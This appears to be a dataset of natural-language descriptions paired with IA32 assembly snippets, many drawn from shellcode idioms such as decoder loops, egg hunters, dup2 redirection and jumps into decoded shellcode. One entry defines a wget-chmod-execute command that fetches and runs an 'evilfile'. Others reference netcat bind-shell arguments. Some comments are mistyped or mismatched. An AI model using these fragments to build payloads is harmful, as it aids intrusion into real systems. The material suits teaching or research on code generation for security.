OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; execute the syscall
int 0x80
; execute the dup2 syscall
int 0x80
; xecute the dup2 syscall
int 0x80
; execute the system call
int 0x80
; syscall execve
int 0x80
; call socketcall
int 0x80
; execute the reboot syscall
int 0x80
; make the system call
int 0x80
; system call interrupt
int 0x80
; system call interrupt 0x80
int 0x80
; execute execve with system call interrupt
int 0x80
; make the kernel call
int 0x80
; make the system call to the kernel
int 0x80
; set a breakpoint
int 3
; call kernel
int 80h
; call kernel (exit(0))
int 80h
; call sys_read
int 80h
; call sys_read to fill the buffer
int 80h
; call sys_write
int 80h
; call the kernel
int 80h
; make kernel call to display line string
int 80h
; make kernel call to exit program
int 80h
; make sys_exit kernel call
int 80h
; make sys_write kernel call
int 80h
; make syscall to output the text to stdout
int 80h
; make syscall to terminate the program
int 80h
; make the syscall to terminate the program
int 80h
; make the system calls to the kernel
int 80h
; if the overflow flag is set, genete an int 4
into
; jump to exi if greater
ja exi
; jump to the exit label if the destination operand is greater than the source operand in the above comparison
ja exit
; jump to next label if the destination is greater than the source in the above comparison
ja next
; jump to write if greater
ja write
; jump at the adress _start-0x24 if the carry flag is clear
jae _start-0x24
; if the carry flag or the zero flag are set set go to the adress at _end+0x1d
jb _end+0x1d
; perform an unsigned comparison and jump to 0xf3 if lower
jb 0xf3
; jump to label modtest if below
jb modtest
; jump to label next if below
jb next
; jump to label write if below
jb write
; if the carry flag or the zero flag are set go to __bss_start+0x12
jbe __bss_start+0x12
; if the carry flag or the zero flag are set go to __bss_start+0x16
jbe __bss_start+0x16
; if the carry flag or the zero flag are set go to __bss_start+0x1a
jbe __bss_start+0x1a
; jump to label done if below or equal
jbe done
; jump to the all label if the operands of the above comparison are equals
je all
; jump to connect if equal
je connec
; jump to the connect label if the operands of the above comparison are equals
je connect
; if equal jump to label continue
je continue
; jump to label continue if equal
je continue
; jump to label done if equal
je done
; define odd_number label
je even_number
; jump to even_numer if greater
je even_number
; jump to label exit if equal to 0
je exit
; jump to the exit label if the operands of the above comparison are equals
je exit
; if equal then jump to label l7
je l7
; jump short to encodedshellcode if equal
je short encodedshellcode
; jump to loc_402b13 if equal
je short loc_402b13
; jump to label stop if equal
je stop
; jump to the code location labeled loop if the operands of the previous comparison are equal
jeq loop
; if the zero flag is clear or the sign flag equals the overflow flag go to the adress at encoded+0x18
jg encoded+0x18
; jump if greater than to label finished
jg finished
; if the sign flag equals the overflow flag go to encoded+0x20 label
jge encoded+0x20
; jump to the _while_loop if lower
jl _while_loop
; jump to the _while_loop label if the destination operand is less than the source operand in the above comparison
jl _while_loop
; jump if less than to label finished
jl finished
; jump to the wrap_around label if the destination operand is less than the source operand in the above comparison
jl wrap_around
; if it is less than or equal to 10 then jump to lp1
jle lp1
; jump to label _accept
jmp _accept
; jump to _read
jmp _read
; jump to the _return label
jmp _return
; jump to _star
jmp _star
; jump to the _start label
jmp _start
; jump to the _while_loop label
jmp _while_loop
; go to aslr_file label
jmp aslr_file
; jump to the aslr_file label
jmp aslr_file
; jump to the instruction labeled begin
jmp begin
; perform un unconditional jumo to call_decoder label
jmp call_decoder
; perform an unconditional jump to call_decoder
jmp call_decoder
; perform an unconditional jump to _call_decoder label
jmp call_decoder
; go to call_egghunter label
jmp call_egghunter
; jump to the call_egghunter label
jmp call_egghunter
; perform an unconditional jump to _call_shellcode label
jmp call_shellcode
; go to _callpop label
jmp callpop
; jump to callpop
jmp callpop
; jump to the callpop label
jmp callpop
; jump to the callz label
jmp callz
; jump to the carryon label
jmp carryon
; jump to connec
jmp connec
; go to _connect label
jmp connect
; jump to the data label
jmp data
; go to _decode label
jmp decode
; jump to decode
jmp decode
; jump to eax content
jmp eax
; jump to eax
jmp eax
; jump to the value stored in the eax register
jmp eax
; jump to ecx
jmp ecx
; jump to edi (our shellcode) if both eggs are found
jmp edi
; jump to shellcode
jmp edi
; go to edi
jmp edi
; jump to edi
jmp edi
; jump to the edi label
jmp edi
; perfrom an unconditional jump to edx
jmp edx
; jump to edx
jmp edx
; perform an unconditional jump to encodedshellcode_label
jmp encodedshellcode
; go to _encrypt label
jmp encrypt
; jump to the encrypt label
jmp encrypt
; jump to _ entrypoint
jmp entrypoint
; jump to the entrypoint label
jmp entrypoint
; go to esp address
jmp esp
; jump to the esp label
jmp esp
; perform an unconditional jumo to _find_address label
jmp find_address
; jump to fupdisasm+1
jmp fupdisasm+1
; jump to the address specified by the operation fupdisasm+1
jmp fupdisasm+1
; jump to the address specified by the operation fupdisasm+3
jmp fupdisasm+3
; jumo to get_key label
jmp get_key
; perform an unconditional jumo to insertion_decoder label
jmp insertion_decoder
; go to _jocker label
jmp jocker
; jump to the jocker label
jmp jocker
; jump to label l20
jmp l20
; jump to the label loop
jmp loop
; jump to label multiplyloop
jmp multiplyloop
; jump to nextarg label
jmp nextarg
; jump to the point in the code labeled nextchar
jmp nextchar
; jump to the one label
jmp one
; perform an unconditional jump to _read label
jmp read
; jump to the read label
jmp read
; jump to the label read
jmp read
; jump to label read
jmp read
; perform an unconditional jump to read_file_label
jmp read_file
; go to _reading label
jmp reading
; jump to the reading label
jmp reading
; go to _shell label
jmp shell
; jump to the shell label
jmp shell
; perform an unconditional jumo to _shellcode label
jmp shellcode
; jump to shellcode
jmp shellcode
; jump to the shellcode label
jmp shellcode
; perform a short unconditional jump to _cmd label
jmp short _cmd
; perform a short jmp to _cmd label
jmp short _cmd
; jump short to the _cmd label
jmp short _cmd
; perform a short and unconditional jumo to _execline label
jmp short _execline
; jump short to the _execline label
jmp short _execline
; perform a short unconditional jump to _file label
jmp short _file
; perform a short unconditional jmp to _file label
jmp short _file
; jump short to the _file label
jmp short _file
; perform a short unconditional jumo to _load_data label
jmp short _load_data
; jump short to the _load_data label
jmp short _load_data
; jump short to _load_data label
jmp short _load_data
; jump short to _star label
jmp short _star
; jump short to the _start label
jmp short _start
; jump short to the .exit label
jmp short .exit
; jump short to 0x11
jmp short 0x11
; jump short to 0x2c
jmp short 0x2c
; jump short to 0x34
jmp short 0x34
; jump short to 0x63
jmp short 0x63
; perform an unconditional short jump to _call_decoder label
jmp short call_decoder
; perform a short unconditional jump to call_decoder_label
jmp short call_decoder
; perform a short unconditional jump to call_decoder label
jmp short call_decoder
; perform a short unconditonal jump to call_decoder
jmp short call_decoder
; jump short to the call_decoder label
jmp short call_decoder
; jump short to call_decoder
jmp short call_decoder
; jump short to the function call_decoder
jmp short call_decoder
; perform an unconditional short jump to _call_shellcode label
jmp short call_shellcode
; perform an unconditional short jump to call_shellcode_label
jmp short call_shellcode
; perfrom a short unconditional jump to call_sh-ellcode label
jmp short call_shellcode
; perform a short unconditional jump to call_shellcode label
jmp short call_shellcode
; jump short to the function call_shellcode
jmp short call_shellcode
; go to call_shellcode
jmp short call_shellcode
; jump short to call_shellcode
jmp short call_shellcode
; jump short to the call_shellcode label
jmp short call_shellcode
; perform an unconditional jump to _call_write label
jmp short call_write
; jump short to the call_write label
jmp short call_write
; jump short to the callit label
jmp short callit
; jump short to the callme label
jmp short callme
; perform an unconditional short jump to _cmd label
jmp short cmd
; jump short to the cmd label
jmp short cmd
; jump short to cycle
jmp short cycle
; jump short to the cycle label
jmp short cycle
; jump short to cycle label
jmp short cycle
; perform an unconditional short jump to _decode label
jmp short decode
; perform a short jump to _decode label and repeat the decoding process for the next word!
jmp short decode
; jump short to the label decode
jmp short decode
; jump short to decode
jmp short decode
; jump back to start of decode
jmp short decode
; jump short to the function decode
jmp short decode
; jump short to the decode label
jmp short decode
; goto the decode_pr to decode the next bytes
jmp short decode_pr
; jump short to the decode_pr label
jmp short decode_pr
; perform a short jumo to enc_label
jmp short enc
; jump short to the enc label
jmp short enc
; perform an unconditional short jump to _encodedshellcode label
jmp short encodedshellcode
; perform a short unconditional jump to _end label
jmp short end
; jump short to the end label
jmp short end
; jump short to exi label
jmp short exi
; perform a short unconditional jumo to fileaddress
jmp short fileaddress
; jump short to the fileaddress label
jmp short fileaddress
; jump short to the formatting label
jmp short formatting
; perform a short unconditional jump to _four label
jmp short four
; jump short to the four label
jmp short four
; perform a short unconditional jump to get_label
jmp short get
; jump short to the get label
jmp short get
; jump short to get_shellcode_addr
jmp short get_shellcode_addr
; perform a short unconditional jumo to _gotocall label
jmp short gotocall
; jump short to the gotocall label
jmp short gotocall
; jump short to the here label
jmp short here
; perform a short unconditional jump to inc_dec label
jmp short inc_dec
; jump short to inc_dec
jmp short inc_dec
; jump short to the routine inc_dec
jmp short inc_dec
; perform a short jump to main_label
jmp short main
; jump short to the main label
jmp short main
; jump short to main
jmp short main
; perform a short unconditional jump to output label
jmp short output
; jump short to the output label
jmp short output
; jump short to the path label
jmp short path
; perform a short unconditional jump to process_shellcode
jmp short process_shellcode
; jump short to the process_shellcode label
jmp short process_shellcode
; perform a short unconditional jump to push_cmd label
jmp short push_cmd
; jump short to push_cmd
jmp short push_cmd
; jump short to the push_cmd label
jmp short push_cmd
; perform an unconditional short jump to read_label
jmp short read
; perform an unconditional short jump to read label
jmp short read
; jump short to the read label
jmp short read
; perform an unconditional short jump to _rotate label
jmp short rotate
; jump short to the rotate label
jmp short rotate
; jump short to the search label
jmp short search
; perform an unconitional short jump to _setup label
jmp short setup
; jump short to the setup label
jmp short setup
; execute decoded shellcode
jmp short shellcode
; perform a short unconditional jump to _shellcode label
jmp short shellcode
; perform a short unconditional jump to _shellcode
jmp short shellcode
; perform a short unconditional jump to shellcode
jmp short shellcode
; jump short to the shellcode label
jmp short shellcode
; jump short to shellcode
jmp short shellcode
; go to shellcode_section
jmp short shellcode_section
; perform a short unconditional jump to _stage label
jmp short stage
; jump short to stage
jmp short stage
; jump short to the stage label
jmp short stage
; perform an unconditional short jump to _switch label
jmp short switch
; jump short to switch
jmp short switch
; perform a short unconditional jump to _three label
jmp short three
; jump short to the three label
jmp short three
; perform a short unconditional jump to todo_label
jmp short todo
; jump short to the todo label
jmp short todo
; perform an unconditional short jump to two_label
jmp short two
; perform a short unconditional jump to _two label
jmp short two
; jump short to the two label
jmp short two
; perform an unconditional jump to _two label
jmp two
; jump to two
jmp two
; jump to the two label
jmp two
; go to _zero10 label
jmp zero10
; go to _zero11 label
jmp zero11
; go to _zero12 label
jmp zero12
; go to _zero13 label
jmp zero13
; go to _zero14 label
jmp zero14
; go to _zero15 label
jmp zero15
; go to _zero16 label
jmp zero16
; go to _zero17 label
jmp zero17
; go to _zero18 label
jmp zero18
; go to _zero19 label
jmp zero19
; go to _zero1a label
jmp zero1a
; go to _zero1b label
jmp zero1b
; go to _zero1c label
jmp zero1c
; go to _zero1d label
jmp zero1d
; go to _zerp1e label
jmp zero1e
; go to _zero2 label
jmp zero2
; go to _zero3 label
jmp zero3
; go to _zero4 label
jmp zero4
; go to _zero5 label
jmp zero5
; go to _zero6 label
jmp zero6
; go to _zero7 label
jmp zero7
; go to _zero8 label
jmp zero8
; go to _zero9 label
jmp zero9
; go to _zeroa label
jmp zeroa
; go to _zerob label
jmp zerob
; go to _zeroc label
jmp zeroc
; go to _zerod label
jmp zerod
; go to _zeroe label
jmp zeroe
; go to _zerof label
jmp zerof
; define the jmp_search label
jmp_search:
; jump to 0x86 if the carry flag is zero
jnc 0x86
; jump to 0xd8 it the carry flag is zero
jnc 0xd8
; if the zero flag is clear go to adress _end+0x5f
jne _end+0x5f
; if not equal jump to the _nex label
jne _nex
; jump to the _next label if the operands of the above comparison are not equals
jne _next
; jump to 804809a if not equal
jne 804809a
; jump to 80480aa if not equal
jne 80480aa
; if the remainder is not equal to zero jump to local label checkbuzz
jne checkbuzz
; if the remainder is not equal to zero jump to local label checkint
jne checkint
; if the zero flag is clear jump to decode insertion label
jne decode_insertion
; if the zero flag is clear jump to _encoded label
jne encoded
; if the zero flag is clear go to _encodedshellcode label
jne encodedshellcode
; jump to the address specified by the label loop if the operands are not equals in the previous comparison
jne loop
; jump to the next_addr label if the operands of the above comparison are not equals
jne next_addr
; if not equal jump to the label nextnumber
jne nextnumber
; jump to the label no_error if not equal
jne no_error
; jump to retry if not equal
jne retry
; if not equal jump short to the _while_loop
jne short _while_loop
; jump to the _while_loop label if the operands of the above comparison are not equals
jne short _while_loop
; if the overflow flag is clear go to the adress insertion_decoder+0xc
jno insertion_decoder+0xc
; as long as sf is not set, jump to _dup2_loop label
jns _dup2_loop
; jump to the _dup2_loop label if the previous instruction clears the sign flag
jns _dup2_loop
; jump to 2f if the sign flag is zero
jns 2f
; jump to 3f if the sign flag is zero
jns 3f
; jump to decode_pr if not signed
jns decode_pr
; as long as sf iss not set, jump to _dup2 label
jns dup2
; jump to dup2 if not negative
jns dup2
; jump to the dup2 label if the previous instruction clears the sign flag
jns dup2
; jump back to the dup2loop procedure until ecx equals 0.
jns dup2loop
; as long as sf iss not set, jump to _duploop label
jns duploop
; jump to duploop if not negative
jns duploop
; jump to the duploop label if the previous instruction clears the sign flag
jns duploop
; jump to loop_label if the sign flag is clear
jns loop
; if sf not set jump to _loop label
jns loop
; jump to _loop label if the sign flag is clear
jns loop
; if sf not set, ecx not negative so continue looping
jns loop
; if ecx is not inferior to 0 go to _loop label
jns loop
; as long as sf is not set, jump to _loop label
jns loop
; jump to the loop label if the previous instruction clears the sign flag
jns loop
; jump to loop_dup label if the sign flag is clear
jns loop_dup
; as long as sf is not set, jump to _loop2 label
jns loop2
; loop as long sign flag is not set
jns loopinghere
; jump to the loopinghere label if the previous instruction clears the sign flag
jns loopinghere
; jump to the _start label if the zero flag is cleared
jnz _start
; jump to 0x41 if not zero
jnz 0x41
; jump to 0x8 if not zero
jnz 0x8
; if not zero jump to numeric label 1
jnz 1
; jump to the numeric label 1 if the zero flag is cleared
jnz 1
; jump to _decode label if flag zero is equal to 0
jnz decode
; jump to the decode label if the zero flag is cleared
jnz decode
; jump to dup2 if flag zero is equal to 0
jnz dup2
; jump to exeunt if not zero
jnz exeunt
; jump to exit_on_error label if flag zero is equal to 0
jnz exit_on_error
; jump to the exit_on_error label if the zero flag is cleared
jnz exit_on_error
; if no match go to incaddr
jnz incaddr
; jump to incaddr if not equal
jnz incaddr
; jump to incaddr if no match
jnz incaddr
; jump to the l00p label if the zero flag is cleared
jnz l00p
; jump to loop_label if flag zero is equal to 0
jnz loop
; go to _loop label if flag zero is not set
jnz loop
; jump to loop if not equal to zero
jnz loop
; jump to the loop label if the zero flag is cleared
jnz loop
; jump to next_addr if not zero
jnz next_addr
; if not zero jump to the next_cycle label
jnz next_cycle
; jump to the next_cycle label if the zero flag is cleared
jnz next_cycle
; if not 0 then jump to the scan label
jnz scan
; if not zero jump short to the _paren label
jnz short _paren
; jump short to the _parent label if the zero flag is cleared
jnz short _parent
; jump short to decode if not zero
jnz short decode
; jump short to the decode label if the zero flag is cleared
jnz short decode
; if not zero jump to loc_4010e5
jnz short loc_4010e5
; jump to the stage label if the zero flag is cleared
jnz stage
; if not 0 then jump to the top label
jnz top
; define _jocker label
jocker:
; declare the jocker label
jocker:
; jump to error label if sign flag SF is equal to 1
js error
; jump to the label _close if the zero flag is set
jz _close
; jump to the label _read if the zero flag is set
jz _read
; jump to the _start label if the zero flag is set
jz _start
; jump to 0x8 if zero
jz 0x8
; jump to the call_decoded label if the zero flag is set
jz call_decoded
; if zero jump to the child label
jz child
; jump to child if zero
jz child
; jump to label child if the zero flag is set
jz child
; jump to the child label if the zero flag is set
jz child
; if zero jump to decoded_shellcode
jz decoded_shellcode
; jump to decoded if zero
jz decoded_shellcode
; jump to download if zero
jz download
; jump to the download label if the zero flag is set
jz download
; if zero jump to the encoded label
jz encoded
; jump to the encoded label if the zero flag is set
jz encoded
; jump to the exit label if the zero flag is set
jz exit
; jump to find_egg if zero
jz find_egg
; jump to the find_egg label if the zero flag is set
jz find_egg
; jump to the point in the code labeled finished if zero
jz finished
; if zero jump to the formatting label
jz formatting
; jump to the formatting label if the zero flag is set
jz formatting
; skip page if it returned efault
jz incpage
; jump to incpage if equal
jz incpage
; if zero jump to the next_cycle label
jz next_cycle
; jump to the next_cycle label if the zero flag is set
jz next_cycle
; jump to next_page if zero
jz next_page
; if zero flag is set jump to nomoreargs label
jz nomoreargs
; if zero jump to the shift_decode label
jz shift_decode
; jump to the shift_decode label if the zero flag is set
jz shift_decode
; if 0 then jump to loc_402b13
jz short loc_402b13
; declare key variable euqal to the value 0xdeadbeef
key equ 0xdeadbeef
; define key constant equal to 0xdeadbeef
key equ 0xdeadbeef
; declare the l00p label
l00p:
; in L1 call the stack
L1:
call [esp]
; in L1 jump short to esp
L1:
jmp short esp
; define L1 label and jump short to L2
L1:
jmp short L2
; declare L2 label and call the function pointed by the stack
L2:
call [esp]
; define L2 label and jump to L3 label
L2:
jmp L3
; define L2 and jump short to esi
L2:
jmp short esi
; declare L3 and jump to the shellcode
L3:
call [esp]
; define the label L3 and jump to edi
L3:
jmp edi
; define L3 and jump short to L4 label
L3:
jmp short L4
; declare L4 and jump to the shellcode
L4:
call [esp]
; in L4 jump short to the stack pointer
L4:
jmp short esp
; in L5 jump to the shellcode
L5:
call [esp]
; define the label L5 and jump to the location pointed by the stack pointer
L5:
jmp esp
; load the effective address of the operation [bp+0x08] into the bx register
lea bx, [bp+0x08]
; load the effective address of the operation bp+0x0b] into the bx register
lea bx, [bp+0x0b]
; load the effective address of the operation [bp+di+0x32] into the cx register
lea cx, [bp+di+0x32]
; load the effective address of the operation [bp+di+0x3e] into the dx register
lea dx, [bp+di+0x3e]
; load the address of the variable at the address ebx+0xfinto eax register
lea eax, [ebx+0xf]
; load the effective address of the result of the operation [ebx+0xf] into the eax register
lea eax, [ebx+0xf]
; load the effective address of the result of the operation [ebx+17h] into the eax register
lea eax, [ebx+17h]
; put the address of ebx+8 into eax
lea eax, [ebx+8]
; load the effective address of the result of the operation [ecx+0bh] into the eax register
lea eax, [ecx+0bh]
; load the effective address of the result of the operation [ecx+4] into the eax register
lea eax, [ecx+4]
; point eax to the start of the shellcode
lea eax, [esi]
; point eax to the next byte of the shellcode
lea eax, [esi+1]
; place the value val in eax
lea eax, [val]
; place the address of var in eax
lea eax, [var]
; place the value in var in eax
lea eax, [var]
; load the effective address [zero_reg+3] into eax
lea eax, [zero_reg+3]
; load the effective address of the result of the operation [zero_reg+3] into the eax register
lea eax, [zero_reg+3]
; load the effective address [zero_reg+6] into eax
lea eax, [zero_reg+6]
; load the effective address of the result of the operation [zero_reg+6] into the eax register
lea eax, [zero_reg+6]
; load the effective address [zero_reg+66h] into eax
lea eax, [zero_reg+66h]
; load the effective address of the result of the operation [zero_reg+66h] into the eax register
lea eax, [zero_reg+66h]
; load the effective address of the operation [ebx+0xb] into the eax register
lea eax,[ebx+0xb]
; load the effective address of the operation [ebp+0x59] into the ebp register
lea ebp,[ebp+0x59]
; load the effective address [ebp-8] into ebx
lea ebx, [ebp-8]
; load the effective address of ebp-8 into the ebx register
lea ebx, [ebp-8]
; load the effective address [ebp+24] into ebx
lea ebx, [ebp+24]
; load the effective address of the result of the operation [ebp+24] into the ebx register
lea ebx, [ebp+24]
; load the effective address [ebp+39] into ebx
lea ebx, [ebp+39]
; load the effective address of the result of the operation [ebp+39] into the ebx register
lea ebx, [ebp+39]
; copy the adress of the varable at location edx+0x4 into ebx register
lea ebx, [edx+0x4]
; load the effective address of edx+0x4 into ebx
lea ebx, [edx+0x4]
; put address of string -> ebx
lea ebx, [esi]
; load the effective address of esi into the ebx register
lea ebx, [esi]
; point ebx to the start of the shellcode
lea ebx, [esi]
; point ebx to the next byte of the shellcode
lea ebx, [esi+1]
; load the effective address of the result of the operation [esi+13] into the ebx register
lea ebx, [esi+13]
; load address of -lvp1337 in ebx
lea ebx, [esi+14]
; load the effective address of the result of the operation [esi+14] into the ebx register
lea ebx, [esi+14]
; load the effective address [esi+15] into ebx
lea ebx, [esi+15]
; load the effective address of the result of the operation [esi+15] into the ebx register
lea ebx, [esi+15]
; load address of -e/bin/bash into ebx
lea ebx, [esi+23]
; load the effective address of the result of the operation [esi+23] into the ebx register
lea ebx, [esi+23]
; load the effective address [esp+1] into ebx
lea ebx, [esp +1]
; load the effective address of the result of the operation [esp +1] into the ebx register
lea ebx, [esp +1]
; load stack pointer to ebx
lea ebx, [esp]
; save esp address into ebx register
lea ebx, [esp]
; load the effective address of esp into ebx
lea ebx, [esp]
; load the effective address of esp into the ebx register
lea ebx, [esp]
; load the effective address [zero_reg+3] into ebx
lea ebx, [zero_reg+3]
; load the effective address of the result of the operation [zero_reg+3] into the ebx register
lea ebx, [zero_reg+3]
; load the address of esi into ebx register
lea ebx,[esi]
; copy the address of eax in ecx
lea ecx, [eax]
; load the effective address of the result of the operation [eax] into the ecx register
lea ecx, [eax]
; load the effective address [ebp+28] into ecx
lea ecx, [ebp+28]
; load the effective address of the result of the operation [ebp+28] into the ecx register
lea ecx, [ebp+28]
; load the value of ebx+0xff into register ecx
lea ecx, [ebx+0xff]
; load the effective address of ebx+8 into ecx
lea ecx, [ebx+8]
; load the adress esi+8 into ecx register
lea ecx, [esi + 8]
; load the effective address of the result of the operation [esi + 8] into the ecx register
lea ecx, [esi + 8]
; point ecx to the start of the shellcode
lea ecx, [esi]
; point ecx to the next byte of the shellcode
lea ecx, [esi+1]
; load the effective address [esi+18] into ecx
lea ecx, [esi+18]
; load the effective address of the result of the operation [esi+18] into the ecx register
lea ecx, [esi+18]
; load the effective address of the result of the operation [esi+22] into the ecx register
lea ecx, [esi+22]
; load address of ptr to argv[] array into ecx register
lea ecx, [esi+35]
; load the effective address of the result of the operation [esi+35] into the ecx register
lea ecx, [esi+35]
; load the effective address of the result of the operation [esi+8] into the ecx register
lea ecx, [esi+8]
; load stack pointer to ebx
lea ecx, [esp]
; load esp address into ecx register
lea ecx, [esp]
; load the effective address of esp into the ecx register
lea ecx, [esp]
; load the effective address [zero_reg+117] into ecx
lea ecx, [zero_reg+117]
; load the effective address of the result of the operation [zero_reg+117] into the ecx register
lea ecx, [zero_reg+117]
; load the effective address [zero_reg+3] into ecx
lea ecx, [zero_reg+3]
; load the effective address of the result of the operation [zero_reg+3] into the ecx register
lea ecx, [zero_reg+3]
; load the address esi+0xc into ecx register
lea ecx,[esi+0xc]
; load the effective address [ebx] into edi
lea edi, [ebx]
; load the effective address of ebx into the edi register
lea edi, [ebx]
; place the value ebx+4*esi in edi
lea edi, [ebx+4*esi]
; place the quantity ebx+4*esi in edi
lea edi, [ebx+4*esi]
; load the address of edi+2 into edi
lea edi, [edi + 2]
; make edi point to rot_value
lea edi, [edi +8]
; put the byte in the address esi+13 in edi regsiter.
lea edi, [esi + 13]
; load the effective address of the result of the operation [esi + 13] into the edi register
lea edi, [esi + 13]
; load the address at esi + 13 into edi
lea edi, [esi + 13]
; transfer the second character pointed from esi to edi
lea edi, [esi +1]
; load the effective address of [esi + 1] into the edi register
lea edi, [esi +1]
; copy the address of esi in edi
lea edi, [esi]
; load the effective address [esi] into edi
lea edi, [esi]
; load the address of esi into edi
lea edi, [esi]
; point edi to the start of the shellcode
lea edi, [esi]
; load the contents of esi into edi
lea edi, [esi]
; load the address of esi+0x1 into edi
lea edi, [esi+0x1]
; point edi to the next byte of the shellcode
lea edi, [esi+1]
; load the effective address of esi+13 into esi+13
lea edi, [esi+13]
; copy the address of esi into edi register
lea edi,[esi]
; copy the adress a tesi+0x1 into edi register
lea edi,[esi+0x1]
; load the effective address of ebx+12 into edx
lea edx, [ebx+12]
; load the adress esi+12 into edx register
lea edx, [esi + 12]
; load the effective address of the result of the operation [esi + 12] into the edx register
lea edx, [esi + 12]
; point edx to the start of the shellcode
lea edx, [esi]
; point edx to the next byte of the shellcode
lea edx, [esi+1]
; load the effective address [esi+26] into edx
lea edx, [esi+26]
; load the effective address of the result of the operation [esi+26] into the edx register
lea edx, [esi+26]
; load the effective address of the result of the operation [esi+30] into the edx register
lea edx, [esi+30]
; load address of ptr to envp[] null into edx register
lea edx, [esi+47]
; load the effective address of the result of the operation [esi+47] into the edx register
lea edx, [esi+47]
; load the address esi+0x10 into edx register
lea edx,[esi+0x10]
; load the effective address [ebp+20] into esi
lea esi, [ebp+20]
; load the effective address of the result of the operation [ebp+20] into the esi register
lea esi, [ebp+20]
; transfer the eighth character pointed by edi to esi
lea esi, [edi + 8]
; make esi register point to shellcode
lea esi, [edi +16]
; make esi point to shellcode that contains previous xorÕed results
lea esi, [edi +8]
; load the effective address of the result of the operation [esi +4] into the esi register
lea esi, [esi +4]
; load the effective address of esi+2 into esi
lea esi, [esi+2]
; load the effective address [esi+4] into esi
lea esi, [esi+4]
; load the value of register ebx into register esp
lea esp, [ebx]
; load the address of the string that is on the stack into rsi
lea rdi, [rsp]
; define len equal to the length of msg
len equ $ - msg
; define len equal to the lenght of the encodedshellcode array
len equ $-encodedshellcode
; variable for the lenght of the encoded shellcode
len: equ $-encodedshellcode
; define len = size of db "127.1.1.1 google.com"
len: equ $-google
; declare the len label equal to the size of the google variable
len: equ $-google
; define lenght of shellcode, len
len: equ $-shellcode
; declare the len label equal to the length of shellcode
len: equ $-shellcode
; loads 32-bit pointer from ebx to esp and fs regster
les esp,fword ptr [ebx]
; allocate a single byte of memory and initialize it to the letter 'c'
letter_c db 'c'
; define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a
line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a
; jump to the _exec label after entering the address of the string ""/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile", 0x0a" at the top of the stack
line db "/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile", 0x0a
; define _loader
loader:
; declare the loader label
loader:
; transfers string element addressed by esi regoster into al register
lods al,byte ptr ds:[esi]
; decrement the counter and jump to .3 label if the count is not zero
loop .3
; decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero
loop 3
; decrement the ecx register and jump to the bucle label if the counter is not zero
loop bucle
; loop check_even_odd using ecx for counter
loop check_even_odd
; decrement the count register and jump to check_even_odd if the count is not equal to zero
loop check_even_odd
; decrease the counter and jump to check_even_odd if not zero else jump short to shellcode
loop check_even_odd
jmp short shellcode
; decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label
loop check_even_odd
jmp short shellcode
; loop decode
loop decode
; start loop decode
loop decode
; loop deocde
loop decode
; loop while zero flag not set
loop decode
; decode current byte
loop decode
; decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero
loop decode
; decrement the count register and jump to decode if not equal zero
loop decode
; decrease the counter and jump to decode if not zero
loop decode
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register
loop decode
jmp edx
; decrement the counter and jump to decode if not zero else jump to edx
loop decode
jmp edx
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label
loop decode
jmp EncodedShellcode
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the encodedshellcode label
loop decode
jmp encodedshellcode
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label
loop decode
jmp Shellcode
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label
loop decode
jmp shellcode
; decrement the counter and jump to decode routine if it is not zero else jump to shellcode label
loop decode
jmp shellcode
; decrement the counter and jump to the decode label if it is not zero else jump short to the encodedshellcode label
loop decode
jmp short encodedshellcode
; decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label
loop decode
jmp short shellcode
; decrease the counter and jump to decode if not zero else jump short to shellcode
loop decode
jmp short shellcode
; decrement the counter and if it is not zero go back at decode_loop and execute the cicle again else jump to encoded_shellcode
loop decode_loop
jmp short encoded_shellcode
; decrement the count register and jump to _decrypt if not equal zero
loop decrypt
; decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero
loop decrypt
; decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label
loop decrypt
jmp encrypt
; decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero
loop do_dup
; decrement the counter and jump to the do_dup label if the count is not zero
loop do_dup
; decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack
loop do_dup
push byte 0x3f
; decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register
loop eggLoop
jmp edi
; decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero
loop fill
; decrement the counter and jump to the fill label if the count is not zero
loop fill
; decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
loop fill
mov ecx, esp
; decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register
loop l1
mov eax, esp
; decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register
loop l1
mov eax, esp
; decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register
loop l2
jmp edi
; decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
loop l2
mov ebx, esp
; decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register
loop l2
mov ebx, esp
; decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
loop l3
mov ecx, esp
; decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register
loop l3
mov ecx, esp
; decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register
loop l4
mov edx, esp
; decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register
loop l4
mov edx, esp
